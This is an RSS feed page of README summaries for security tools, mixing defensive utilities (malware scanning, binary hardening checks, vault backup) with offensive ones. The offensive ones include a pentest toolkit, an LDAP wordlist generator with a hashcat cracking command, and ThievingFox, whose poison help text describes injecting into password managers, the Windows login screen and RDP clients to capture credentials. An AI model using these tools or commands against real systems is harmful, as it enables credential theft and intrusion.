FreshRSS

๐Ÿ”’
โŒ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayTools

Pegasus-Pentest-Arsenal - A Comprehensive Web Application Security Testing Toolkit That Combines 10 Powerful Penetration Testing Features Into One Tool

By: Unknown



/\
_ / |
/ \ | \
| |\| |
| | | /
| /| |/
|/ |/
,/; ; ;
,'/|; ,/,/,
,'/ |;/,/,/,/|
,/; |;|/,/,/,/,/|
,/'; |;|,/,/,/,/,/|
,/'; |;|/,/,/,/,/,/|,
/ ; |;|,/,/,/,/,/,/|
/ ,'; |;|/,/,/,/,/,/,/|
/,/'; |;|,/,/,/,/,/,/,/|
/;/ '; |;|/,/,/,/,/,/,/,/|

โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘
โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘
โ•šโ•โ• โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•
P E N T E S T A R S E N A L

A comprehensive web application security testing toolkit that combines 10 powerful penetration testing features into one tool.

Author

  • Letda Kes Dr. Sobri, S.Kom
  • GitHub: sobri3195
  • Email: muhammadsobrimaulana31@gmail.com

Features

  1. Subdomain + Curl HTTP Scanner
  2. Discovers subdomains using a wordlist
  3. Checks HTTP status and security headers
  4. Identifies potential security Misconfigurations" title="Misconfigurations">misconfigurations

  5. JWT Token Inspector

  6. Analyzes JWT token structure and claims
  7. Identifies security issues in token configuration
  8. Detects common JWT vulnerabilities

  9. Parameter Pollution Finder

  10. Tests for HTTP Parameter Pollution (HPP)
  11. Identifies vulnerable parameters
  12. Detects server-side parameter handling issues

  13. CORS Misconfiguration Scanner

  14. Tests for CORS policy misconfigurations
  15. Identifies dangerous wildcard policies
  16. Detects credential exposure risks

  17. Upload Bypass Tester

  18. Tests file upload restrictions
  19. Attempts various bypass techniques
  20. Identifies dangerous file type handling

  21. Exposed .git Directory Finder

  22. Scans for exposed version control files
  23. Identifies leaked Git repositories
  24. Tests for sensitive information disclosure

  25. SSRF (Server Side Request Forgery) Detector

  26. Tests for SSRF vulnerabilities
  27. Identifies vulnerable parameters
  28. Includes cloud metadata endpoint tests

  29. Blind SQL Injection Time Delay Detector

  30. Tests for time-based SQL injection
  31. Supports multiple database types
  32. Identifies injectable parameters

  33. Local File Inclusion (LFI) Mapper

  34. Tests for LFI vulnerabilities
  35. Includes path traversal detection
  36. Supports various encoding bypasses

  37. Web Application Firewall (WAF) Fingerprinter

    • Identifies WAF presence
    • Detects WAF vendor/type
    • Tests WAF effectiveness

Installation

  1. Clone the repository:
git clone https://github.com/sobri3195/pegasus-pentest-arsenal.git
cd pegasus-pentest-arsenal
  1. Create a virtual environment (recommended):
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
  1. Install dependencies:
pip install -r requirements.txt

Usage

  1. Run the main script:
python pegasus_pentest.py
  1. Select a tool from the menu (1-10)
  2. Follow the prompts to enter target information
  3. Review the results

Requirements

  • Python 3.8+
  • Required packages (see requirements.txt):
  • requests
  • httpx
  • urllib3
  • colorama
  • pyjwt
  • beautifulsoup4

Security Considerations

  • This tool is for educational and authorized testing purposes only
  • Always obtain proper authorization before testing any target
  • Some features may trigger security alerts or be blocked by security controls
  • Use responsibly and ethically

Contributing

  1. Fork the repository
  2. Create a feature branch
  3. Commit your changes
  4. Push to the branch
  5. Create a Pull Request

License

This project is licensed under the MIT License - see the LICENSE file for details.

Disclaimer

This tool is provided for educational and authorized testing purposes only. Users are responsible for obtaining proper authorization before testing any target. The authors are not responsible for any misuse or damage caused by this tool.



Torward - An Improved Version Based On The Torghost-Gn And Darktor Scripts, Designed To Enhance Anonymity On The Internet

By: Unknown


Torward is an improved version based on the torghost-gn and darktor scripts, designed to enhance anonymity on the Internet. The tool prevents data leaks and forces all traffic from our computer to be routed exclusively through the Tor network, providing a high level of privacy in our connections.


Installation

   git clone https://github.com/chundefined/Torward.git
   cd Torward
   chmod +x install.sh
   ./install.sh

Security Enhancements

This version includes several key security improvements to protect your identity and ensure better network configuration:

  1. IPv6 Leak Prevention
    IPv6 is now disabled to prevent any potential IP leaks. All traffic is forced through the Tor network by modifying system IPv6 settings in network_config.py.

  2. Enhanced iptables Rules
    Strict iptables rules are implemented to ensure only Tor traffic is allowed. Non-Tor traffic is blocked, DNS queries are routed through Tor, and only essential connections to Tor ports are permitted. Additionally, IPv6 traffic is blocked to prevent leaks.

  3. Tor Configuration Adjustments
    The torward file has been updated to enforce that all traffic, including DNS queries, is routed through Tor, improving anonymity.

TODO

  • Get the IP from the last Tor exit node: Currently, the script does not display the IP of the last Tor exit node in the console. This can be achieved by using Tor's API to get the public IP of the exit node.
  • Better error handling: Ensure that the tool properly handles errors, such as Tor disconnection or network issues.


Lazywarden - Automatic Bitwarden Backup

By: Unknown


Secure, Automated, and Multi-Cloud Bitwarden Backup and Import System

Lazywarden is a Python automation tool designed to Backup and Restore data from your vault, including Bitwarden attachments. It allows you to upload backups to multiple cloud storage services and receive notifications across multiple platforms. It also offers AES encrypted backups and uses key derivation with Argon2, ensuring maximum security for your data.


Features

  • ๐Ÿ”’ Maximum Security: Data protection with AES-256 encryption and Argon2 key derivation.
  • ๐Ÿ”„ Automated Backups and Imports: Keep your Bitwarden vault up to date and secure.
  • โœ… Integrity Verification: SHA-256 hash to ensure data integrity on every backup.
  • โ˜๏ธ Multi-Cloud Support: Store backups to services such as Dropbox, Google Drive, pCloud, MEGA, NextCloud, Seafile, Storj, Cloudflare R2, Backblaze B2, Filebase (IPFS) and via SMTP.
  • ๐Ÿ–ฅ๏ธ Local Storage: Save backups to a local path for greater control.
  • ๐Ÿ”” Real-Time Alerts: Instant notifications on Discord, Telegram, Ntfy and Slack.
  • ๐Ÿ—“๏ธ Schedule Management: Integration with CalDAV, Todoist and Vikunja to manage your schedule.
  • ๐Ÿณ Easy Deployment: Quick setup with Docker Compose.
  • ๐Ÿค– Full Automation and Custom Scheduling: Automatic backups with flexible scheduling options (daily, weekly, monthly, yearly). Integration with CalDAV, Todoist and Vikunja for complete tracking and email notifications.
  • ๐Ÿ”‘ Bitwarden Export to KeePass: Export Bitwarden items to a KeePass database (kdbx), including TOTP-seeded logins, URI, custom fields, card, identity attachments and secure notes.

Platform Compatibilityย ย 



Damn-Vulnerable-Drone - An Intentionally Vulnerable Drone Hacking Simulator Based On The Popular ArduPilot/MAVLink Architecture, Providing A Realistic Environment For Hands-On Drone Hacking

By: Unknown


The Damn Vulnerable Drone is an intentionally vulnerable drone hacking simulator based on the popular ArduPilot/MAVLink architecture, providing a realistic environment for hands-on drone hacking.


    About the Damn Vulnerable Drone


    What is the Damn Vulnerable Drone?

    The Damn Vulnerable Drone is a virtually simulated environment designed for offensive security professionals to safely learn and practice drone hacking techniques. It simulates real-world ArduPilot & MAVLink drone architectures and vulnerabilities, offering a hands-on experience in exploiting drone systems.

    Why was it built?

    The Damn Vulnerable Drone aims to enhance offensive security skills within a controlled environment, making it an invaluable tool for intermediate-level security professionals, pentesters, and hacking enthusiasts.

    Similar to how pilots utilize flight simulators for training, we can use the Damn Vulnerable Drone simulator to gain in-depth knowledge of real-world drone systems, understand their vulnerabilities, and learn effective methods to exploit them.

    The Damn Vulnerable Drone platform is open-source and available at no cost and was specifically designed to address the substantial expenses often linked with drone hardware, hacking tools, and maintenance. Its cost-free nature allows users to immerse themselves in drone hacking without financial concerns. This accessibility makes the Damn Vulnerable Drone a crucial resource for those in the fields of information security and penetration testing, promoting the development of offensive cybersecurity skills in a safe environment.

    How does it work?

    The Damn Vulnerable Drone platform operates on the principle of Software-in-the-Loop (SITL), a simulation technique that allows users to run drone software as if it were executing on an actual drone, thereby replicating authentic drone behaviors and responses.

    ArduPilot's SITL allows for the execution of the drone's firmware within a virtual environment, mimicking the behavior of a real drone without the need for physical hardware. This simulation is further enhanced with Gazebo, a dynamic 3D robotics simulator, which provides a realistic environment and physics engine for the drone to interact with. Together, ArduPilot's SITL and Gazebo lay the foundation for a sophisticated and authentic drone simulation experience.

    While the current Damn Vulnerable Drone setup doesn't mirror every drone architecture or configuration, the integrated tactics, techniques and scenarios are broadly applicable across various drone systems, models and communication protocols.

    Features

    • Docker-based Environment: Runs in a completely virtualized docker-based setup, making it accessible and safe for drone hacking experimentation.
    • Simulated Wireless Networking: Simulated Wifi (802.11) interfaces to practice wireless drone attacks.
    • Onboard Camera Streaming & Gimbal: Simulated RTSP drone onboard camera stream with gimbal and companion computer integration.
    • Companion Computer Web Interface: Companion Computer configuration management via web interface and simulated serial connection to Flight Controller.
    • QGroundControl/MAVProxy Integration: One-click QGroundControl UI launching (only supported on x86 architecture) with MAVProxy GCS integration.
    • MAVLink Router Integration: Telemetry forwarding via MAVLink Router on the Companion Computer Web Interface.
    • Dynamic Flight Logging: Fully dynamic Ardupilot flight bin logs stored on a simulated SD Card.
    • Management Web Console: Simple to use simulator management web console used to trigger scenarios and drone flight states.
    • Comprehensive Hacking Scenarios: Ideal for practicing a wide range of drone hacking techniques, from basic reconnaissance to advanced exploitation.
    • Detailed Walkthroughs: If you need help hacking against a particular scenario you can leverage the detailed walkthrough documentation as a spoiler.


    LDAPWordlistHarvester - A Tool To Generate A Wordlist From The Information Present In LDAP, In Order To Crack Passwords Of Domain Accounts

    By: Zion3R


    A tool to generate a wordlist from the information present in LDAP, in order to crack non-random passwords of domain accounts.

    ย 

    Features

    The bigger the domain is, the better the wordlist will be.

    • [x] Creates a wordlist based on the following information found in the LDAP:
    • [x] User: name and sAMAccountName
    • [x] Computer: name and sAMAccountName
    • [x] Groups: name
    • [x] Organizational Units: name
    • [x] Active Directory Sites: name and descriptions
    • [x] All LDAP objects: descriptions
    • [x] Choose wordlist output file name with option --outputfile

    Demonstration

    To generate a wordlist from the LDAP of the domain domain.local you can use this command:

    ./LDAPWordlistHarvester.py -d 'domain.local' -u 'Administrator' -p 'P@ssw0rd123!' --dc-ip 192.168.1.101

    You will get the following output if using the Python version:

    You will get the following output if using the Powershell version:


    Cracking passwords

    Once you have this wordlist, you should crack your NTDS using hashcat, --loopback and the rule clem9669_large.rule.

    ./hashcat --hash-type 1000 --potfile-path ./client.potfile ./client.ntds ./wordlist.txt --rules ./clem9669_large.rule --loopback

    Usage

    $ ./LDAPWordlistHarvester.py -h
    LDAPWordlistHarvester.py v1.1 - by @podalirius_

    usage: LDAPWordlistHarvester.py [-h] [-v] [-o OUTPUTFILE] --dc-ip ip address [-d DOMAIN] [-u USER] [--ldaps] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]

    options:
    -h, --help show this help message and exit
    -v, --verbose Verbose mode. (default: False)
    -o OUTPUTFILE, --outputfile OUTPUTFILE
    Path to output file of wordlist.

    Authentication & connection:
    --dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
    -d DOMAIN, --domain DOMAIN
    (FQDN) domain to authenticate to
    -u USER, --user USER user to authenticate with
    --ldaps Use LDAPS instead of LDAP

    Credentials:
    --no- pass Don't ask for password (useful for -k)
    -p PASSWORD, --password PASSWORD
    Password to authenticate with
    -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
    NT/LM hashes, format is LMhash:NThash
    --aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
    -k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line


    Drs-Malware-Scan - Perform File-Based Malware Scan On Your On-Prem Servers With AWS

    By: Zion3R


    Perform malware scan analysis of on-prem servers using AWS services

    Challenges with on-premises malware detection

    It can be difficult for security teams to continuously monitor all on-premises servers due to budget and resource constraints. Signature-based antivirus alone is insufficient as modern malware uses various obfuscation techniques. Server admins may lack visibility into security events across all servers historically. Determining compromised systems and safe backups to restore from during incidents is challenging without centralized monitoring and alerting. It is onerous for server admins to setup and maintain additional security tools for advanced threat detection. The rapid mean time to detect and remediate infections is critical but difficult to achieve without the right automated solution.

    Determining which backup image is safe to restore from during incidents without comprehensive threat intelligence is another hard problem. Even if backups are available, without knowing when exactly a system got compromised, it is risky to blindly restore from backups. This increases the chance of restoring malware and losing even more valuable data and systems during incident response. There is a need for an automated solution that can pinpoint the timeline of infiltration and recommend safe backups for restoration.


    How to use AWS services to address these challenges

    The solution leverages AWS Elastic Disaster Recovery (AWS DRS), Amazon GuardDuty and AWS Security Hub to address the challenges of malware detection for on-premises servers.

    This combo of services provides a cost-effective way to continuously monitor on-premises servers for malware without impacting performance. It also helps determine safe recovery point in time backups for restoration by identifying timeline of compromises through centralized threat analytics.

    • AWS Elastic Disaster Recovery (AWS DRS) minimizes downtime and data loss with fast, reliable recovery of on-premises and cloud-based applications using affordable storage, minimal compute, and point-in-time recovery.

    • Amazon GuardDuty is a threat detection service that continuously monitors your AWS accounts and workloads for malicious activity and delivers detailed security findings for visibility and remediation.

    • AWS Security Hub is a cloud security posture management (CSPM) service that performs security best practice checks, aggregates alerts, and enables automated remediation.

    Architecture

    Solution description

    The Malware Scan solution assumes on-premises servers are already being replicated with AWS DRS, and Amazon GuardDuty & AWS Security Hub are enabled. The cdk stack in this repository will only deploy the boxes labelled as DRS Malware Scan in the architecture diagram.

    1. AWS DRS is replicating source servers from the on-premises environment to AWS (or from any cloud provider for that matter). For further details about setting up AWS DRS please follow the Quick Start Guide.
    2. Amazon GuardDuty is already enabled.
    3. AWS Security Hub is already enabled.
    4. The Malware Scan solution is triggered by a Schedule Rule in Amazon EventBridge (with prefix DrsMalwareScanStack-ScheduleScanRule). You can adjust the scan frequency as needed (i.e. once a day, a week, etc).
    5. The Schedule Rule in Amazon EventBridge triggers the Submit Orders lambda function (with prefix DrsMalwareScanStack-SubmitOrders) which gathers the source servers to scan from the Source Servers DynamoDB table.
    6. Orders are placed on the SQS FIFO queue named Scan Orders (with prefix DrsMalwareScanStack-ScanOrdersfifo). The queue is used to serialize scan requests mapped to the same DRS instance, preventing a race condition.
    7. The Process Order lambda picks a malware scan order from the queue and enriches it, preparing the upcoming malware scan operation. For instance, it inserts the id of the replicating DRS instance associated to the DRS source server provided in the order. The output of Process Order are malware scan commands containing all the necessary information to invoke GuardDuty malware scan.
    8. Malware scan operations are tracked using the DRSVolumeAnnotationsDDBTable at the volume-level, providing reporting capabilities.
    9. Malware scan commands are inserted in the Scan Commands SQS FIFO queue (with prefix DrsMalwareScanStack-ScanCommandsfifo) to increase resiliency.
    10. The Process Commands function submits queued scan commands at a maximum rate of 1 command per second to avoid API throttling. It triggers the on-demand malware scan function provided by Amazon GuardDuty.
    11. The execution of the on-demand Amazon GuardDuty Malware job can be monitored from the Amazon GuardDuty service.
    12. The outcome of malware scan job is routed to Amazon Cloudwath Logs.
    13. The Subscription Filter lambda function receives the outcome of the scan and tracks the result using DynamoDB (step #14).
    14. The DRS Instance Annotations DynamoDB Table tracks the status of the malware scan job at the instance level.
    15. The CDK stack named ScanReportStack deploys the Scan Report lambda function (with prefix ScanReportStack-ScanReport) to populate the Amazon S3 bucket with prefix scanreportstack-scanreportbucket.
    16. AWS Security Hub aggregates and correlates findings from Amazon GuardDuty.
    17. The Security Hub finding event is caught by an EventBridge Rule (with prefix DrsMalwareScanStack-SecurityHubAnnotationsRule)
    18. The Security Hub Annotations lambda function (with prefix DrsMalwareScanStack-SecurityHubAnnotation) generates additional Notes (Annotations) to the Finding with contextualized information about the source server being affected. This additional information can be seen in the Notes section within the Security Hub Finding.
    19. The follow-up activities will depend on the incident response process being adopted. For example based on the date of the infection, AWS DRS can be used to perform a point in time recovery using a snapshot previous to the date of the malware infection.
    20. In a Multi-Account scenario, this solution can be deployed directly on the AWS account hosting the AWS DRS solution. The Amazon GuardDuty findings will be automatically sent to the centralized Security Account.

    Usage

    Pre-requisites

    • An AWS Account.
    • Amazon Elastic Disaster Recovery (DRS) configured, with at least 1 server source in sync. If not, please check this documentation. The Replication Configuration must consider EBS encryption using Custom Managed Key (CMK) from AWS Key Management Service (AWS KMS). Amazon GuardDuty Malware Protection does not support default AWS managed key for EBS.
    • IAM Privileges to deploy the components of this solution.
    • Amazon GuardDuty enabled. If not, please check this documentation
    • Amazon Security Hub enabled. If not, please check this documentation

      Warning
      Currently, Amazon GuardDuty Malware scan does not support EBS volumes encrypted with EBS-managed keys. If you want to use this solution to scan your on-prem (or other-cloud) servers replicated with DRS, you need to setup DRS replication with your own encryption key in KMS. If you are currently using EBS-managed keys with your replicating servers, you can change encryption settings to use your own KMS key in the DRS console.

    Deploy

    1. Create a Cloud9 environment with Ubuntu image (at least t3.small for better performance) in your AWS account. Open your Cloud9 environment and clone the code in this repository. Note: Amazon Linux 2 has node v16 which is not longer supported since 2023-09-11 git clone https://github.com/aws-samples/drs-malware-scan

      cd drs-malware-scan

      sh check_loggroup.sh

    2. Deploy the CDK stack by running the following command in the Cloud9 terminal and confirm the deployment

      npm install cdk bootstrap cdk deploy --all Note
      The solution is made of 2 stacks: * DrsMalwareScanStack: it deploys all resources needed for malware scanning feature. This stack is mandatory. If you want to deploy only this stack you can run cdk deploy DrsMalwareScanStack
      * ScanReportStack: it deploys the resources needed for reporting (Amazon Lambda and Amazon S3). This stack is optional. If you want to deploy only this stack you can run cdk deploy ScanReportStack

      If you want to deploy both stacks you can run cdk deploy --all

    Troubleshooting

    All lambda functions route logs to Amazon CloudWatch. You can verify the execution of each function by inspecting the proper CloudWatch log groups for each function, look for the /aws/lambda/DrsMalwareScanStack-* pattern.

    The duration of the malware scan operation will depend on the number of servers/volumes to scan (and their size). When Amazon GuardDuty finds malware, it generates a SecurityHub finding: the solution intercepts this event and runs the $StackName-SecurityHubAnnotations lambda to augment the SecurityHub finding with a note containing the name(s) of the DRS source server(s) with malware.

    The SQS FIFO queues can be monitored using the Messages available and Message in flight metrics from the AWS SQS console

    The DRS Volume Annotations DynamoDB tables keeps track of the status of each Malware scan operation.

    Amazon GuardDuty has documented reasons to skip scan operations. For further information please check Reasons for skipping resource during malware scan

    In order to analize logs from Amazon GuardDuty Malware scan operations, you can check /aws/guardduty/malware-scan-events Amazon Cloudwatch LogGroup. The default log retention period for this log group is 90 days, after which the log events are deleted automatically.

    Cleanup

    1. Run the following commands in your terminal:

      cdk destroy --all

    2. (Optional) Delete the CloudWatch log groups associated with Lambda Functions.

    AWS Cost Estimation Analysis

    For the purpose of this analysis, we have assumed a fictitious scenario to take as an example. The following cost estimates are based on services located in the North Virginia (us-east-1) region.

    Estimated scenario:

    • 2 Source Servers to replicate (DR) (Total Storage: 100GB - 4 disks)
    • 3 TB Malware Scanned/Month
    • 30 days of EBS snapshot Retention period
    • Daily Malware scans
    Monthly Cost Total Cost for 12 Months
    171.22 USD 2,054.74 USD

    Service Breakdown:

    Service Name Description Monthly Cost (USD)
    AWS Elastic Disaster Recovery 2 Source Servers / 1 Replication Server / 4 disks / 100GB / 30 days of EBS Snapshot Retention Period 71.41
    Amazon GuardDuty 3 TB Malware Scanned/Month 94.56
    Amazon DynamoDB 100MB 1 Read/Second 1 Writes/Second 3.65
    AWS Security Hub 1 Account / 100 Security Checks / 1000 Finding Ingested 0.10
    AWS EventBridge 1M custom events 1.00
    Amazon Cloudwatch 1GB ingested/month 0.50
    AWS Lambda 5 ARM Lambda Functions - 128MB / 10secs 0.00
    Amazon SQS 2 SQS Fifo 0.00
    Total 171.22

    Note The figures presented here are estimates based on the assumptions described above, derived from the AWS Pricing Calculator. For further details please check this pricing calculator as a reference. You can adjust the services configuration in the referenced calculator to make your own estimation. This estimation does not include potential taxes or additional charges that might be applicable. It's crucial to remember that actual fees can vary based on usage and any additional services not covered in this analysis. For critical environments is advisable to include Business Support Plan (not considered in the estimation)

    Security

    See CONTRIBUTING for more information.

    Authors



    HardeningMeter - Open-Source Python Tool Carefully Designed To Comprehensively Assess The Security Hardening Of Binaries And Systems

    By: Zion3R


    HardeningMeter is an open-source Python tool carefully designed to comprehensively assess the security hardening of binaries and systems. Its robust capabilities include thorough checks of various binary exploitation protection mechanisms, including Stack Canary, RELRO, randomizations (ASLR, PIC, PIE), None Exec Stack, Fortify, ASAN, NX bit. This tool is suitable for all types of binaries and provides accurate information about the hardening status of each binary, identifying those that deserve attention and those with robust security measures. Hardening Meter supports all Linux distributions and machine-readable output, the results can be printed to the screen a table format or be exported to a csv. (For more information see Documentation.md file)


    Execute Scanning Example

    Scan the '/usr/bin' directory, the '/usr/sbin/newusers' file, the system and export the results to a csv file.

    python3 HardeningMeter.py -f /bin/cp -s

    Installation Requirements

    Before installing HardeningMeter, make sure your machine has the following: 1. readelf and file commands 2. python version 3 3. pip 4. tabulate

    pip install tabulate

    Install HardeningMeter

    The very latest developments can be obtained via git.

    Clone or download the project files (no compilation nor installation is required)

    git clone https://github.com/OfriOuzan/HardeningMeter

    Arguments

    -f --file

    Specify the files you want to scan, the argument can get more than one file seperated by spaces.

    -d --directory

    Specify the directory you want to scan, the argument retrieves one directory and scan all ELF files recursively.

    -e --external

    Specify whether you want to add external checks (False by default).

    -m --show_missing

    Prints according to the order, only those files that are missing security hardening mechanisms and need extra attention.

    -s --system

    Specify if you want to scan the system hardening methods.

    -c --csv_format'

    Specify if you want to save the results to csv file (results are printed as a table to stdout by default).

    Results

    HardeningMeter's results are printed as a table and consisted of 3 different states: - (X) - This state indicates that the binary hardening mechanism is disabled. - (V) - This state indicates that the binary hardening mechanism is enabled. - (-) - This state indicates that the binary hardening mechanism is not relevant in this particular case.

    Notes

    When the default language on Linux is not English make sure to add "LC_ALL=C" before calling the script.



    ThievingFox - Remotely Retrieving Credentials From Password Managers And Windows Utilities

    By: Zion3R


    ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.

    The accompanying blog post can be found here


    Installation

    Linux

    Rustup must be installed, follow the instructions available here : https://rustup.rs/

    The mingw-w64 package must be installed. On Debian, this can be done using :

    apt install mingw-w64

    Both x86 and x86_64 windows targets must be installed for Rust:

    rustup target add x86_64-pc-windows-gnu
    rustup target add i686-pc-windows-gnu

    Mono and Nuget must also be installed, instructions are available here : https://www.mono-project.com/download/stable/#download-lin

    After adding Mono repositories, Nuget can be installed using apt :

    apt install nuget

    Finally, python dependancies must be installed :

    pip install -r client/requirements.txt

    ThievingFox works with python >= 3.11.

    Windows

    Rustup must be installed, follow the instructions available here : https://rustup.rs/

    Both x86 and x86_64 windows targets must be installed for Rust:

    rustup target add x86_64-pc-windows-msvc
    rustup target add i686-pc-windows-msvc

    .NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"

    Finally, python dependancies must be installed :

    pip install -r client/requirements.txt

    ThievingFox works with python >= 3.11

    NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)

    Targets

    All modules have been tested on the following Windows versions :

    Windows Version
    Windows Server 2022
    Windows Server 2019
    Windows Server 2016
    Windows Server 2012R2
    Windows 10
    Windows 11

    [!CAUTION] Modules have not been tested on other version, and are expected to not work.

    Application Injection Method
    KeePass.exe AppDomainManager Injection
    KeePassXC.exe DLL Proxying
    LogonUI.exe (Windows Login Screen) COM Hijacking
    consent.exe (Windows UAC Popup) COM Hijacking
    mstsc.exe (Windows default RDP client) COM Hijacking
    RDCMan.exe (Sysinternals' RDP client) COM Hijacking
    MobaXTerm.exe (3rd party RDP client) COM Hijacking

    Usage

    [!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.

    ThievingFox contains 3 main modules : poison, cleanup and collect.

    Poison

    For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.

    To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.

    --mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).

    --keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.

    The KeePass modules requires the Visual C++ Redistributable to be installed on the target.

    Multiple applications can be specified at once, or, the --all flag can be used to target all applications.

    [!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.

    $ python3 client/ThievingFox.py poison -h
    usage: ThievingFox.py poison [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepass-path KEEPASS_PATH]
    [--keepass-share KEEPASS_SHARE] [--keepassxc] [--keepassxc-path KEEPASSXC_PATH] [--keepassxc-share KEEPASSXC_SHARE] [--mstsc] [--mstsc-poison-hkcr]
    [--consent] [--logonui] [--rdcman] [--rdcman-poison-hkcr] [--mobaxterm] [--mobaxterm-poison-hkcr] [--all]
    target

    positional arguments:
    target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

    options:
    -h, --help show this help message and exit
    -hashes HASHES, --hashes HASHES
    LM:NT hash
    -aesKey AESKEY, --aesKey AESKEY
    AES key to use for Kerberos Authentication
    -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
    -dc-ip DC_IP, --dc-ip DC_IP
    IP Address of the domain controller
    -no-pass, --no-pass Do not prompt for password
    --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
    --keepass Try to poison KeePass.exe
    --keepass-path KEEPASS_PATH
    The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
    --keepass-share KEEPASS_SHARE
    The share on which KeePass is installed (Default: c$)
    --keepassxc Try to poison KeePassXC.exe
    --keepassxc-path KEEPASSXC_PATH
    The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
    --ke epassxc-share KEEPASSXC_SHARE
    The share on which KeePassXC is installed (Default: c$)
    --mstsc Try to poison mstsc.exe
    --mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not
    logged in (Default: False)
    --consent Try to poison Consent.exe
    --logonui Try to poison LogonUI.exe
    --rdcman Try to poison RDCMan.exe
    --rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not
    logged in (Default: False)
    --mobaxterm Try to poison MobaXTerm.exe
    --mobaxterm-poison-hkcr
    Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not
    logged in (Default: False)
    --all Try to poison all applications

